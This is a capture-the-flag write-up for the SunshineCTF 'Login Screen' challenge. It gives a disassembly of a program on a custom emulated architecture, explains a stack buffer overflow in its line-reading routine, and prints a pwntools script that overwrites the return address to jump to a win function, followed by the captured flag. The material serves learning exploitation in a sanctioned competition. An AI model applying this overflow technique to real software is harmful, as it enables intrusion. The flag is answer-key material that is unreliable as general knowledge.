Login Screen
After entering the access code, you're now presented with the satellite terminal's login prompt. We don't know the correct login details, can you find a way around it?
LoginScreen.peg
runpeg (updated)
Note: There is a new build of runpeg available which now has a --flag-port-file option. Create a dummy flag.txt file and then run it like this:
runpeg LoginScreen.peg --flag-port-file flag.txt
This sets up the file whose contents are read when the EAR code runs the RDB instruction to read from port 0xF ('f' for flag, get it?). The way this works is that each time you execute RDB <reg>, (0xF), the next flag byte is read into <reg>. When there are no more flag bytes left to read, CF will be set.
nc sunshinectf.games 25701
Disassemble in the debugger:
@puts:
0200.0000: MOV A3, 0x7F
0204.0000: LDB A1, [A0]
0206.0000: INC A0, 1
0208.0000: AND A2, A1, A3
020B.0000: WRB (0), A2
020D.0000: CMP A1, A2
020F.0000: BRR.NE @puts+0x4 //0204.0000
0212.0000: RET
@read_line:
0214.0000: MOV A2, A0
0216.0000: MOV A0, ZERO
0218.0000: BRR @read_line+0x13 //0227.0000
021B.0000: INC A0, 1
021D.0000: STB [A2],A3
021F.0000: INC A2, 1
0221.0000: CMP A3, 0xA
0225.0000: RET.EQ
0227.0000: CMP A0, A1
0229.0000: RET.GE
022B.0000: RDB A3, (0)
022D.0000: BRR.LT @read_line+0x7 //021B.0000
0230.0000: XOR A0, 0xFFFF
0234.0000: RET
@win:
0236.0000: RDB A0, (15)
0238.0000: BRR.GE @win+0xa //0240.0000
023B.0000: WRB (0), A0
023D.0000: BRR @win
0240.0000: MOV A0, ZERO
0242.0000: FCR 0xFF00
@main:
0245.0000: PSH {S0, FP, RA-RD}
0248.0000: INC FP, SP, 2
024B.0000: ADD A0, PC, 0xB0
0250.0000: FCR @puts
0253.0000: ADD A0, PC, 0x1BC
0258.0000: FCR @puts
025B.0000: SUB SP, 0x32
025F.0000: MOV A0, SP
0261.0000: MOV A1, 0x64
0265.0000: FCR @read_line
0268.0000: MOV S0, A0
026A.0000: INC S0, -1
026C.0000: ADD A0, PC, 0x1B3
0271.0000: FCR @puts
0274.0000: MOV A0, SP
0276.0000: ADD A1, A0, S0
0279.0000: CMP A0, A1
027B.0000: BRR.GE @main+0x42 //0287.0000
027E.0000: LDB A2, [A0]
0280.0000: INC A0, 1
0282.0000: WRB (0), A2
0284.0000: BRR @main+0x34 //0279.0000
0287.0000: WRB (0), 0x21
028A.0000: WRB (0), 0xA
028D.0000: MOV A0, ZERO
028F.0000: INC SP, FP, -2
0292.0000: POP {S0, FP, PC-DPC}
0295.0000: STW [FP],FP
0297.0000: BRR @main
There is a stack overflow problem: stack is used as the buffer for @read_line. We can use buffer overflow to change PC to point to @win function when 0292.0000: POP {S0, FP, PC-DPC} is executed:
from pwn import *
# context(log_level = "debug")
p = remote("sunshinectf.games", 25701)
# p = process("./runpeg LoginScreen.peg --flag-port-file flag.txt --debug".split())
# p.sendline(b"b 028d")
# p.sendline(b"c")
p.recvuntil(b"Enter username:")
# S0=0x4141, FP=0x4141, PC=0x0236, DPC=0
p.sendline(b"A" * 0x36 + p16(0x0236) + p16(0x0))
p.interactive()
Flag: sun{th1s_i5_ju57_7h3_t1p_0f_7h3_spEAR}.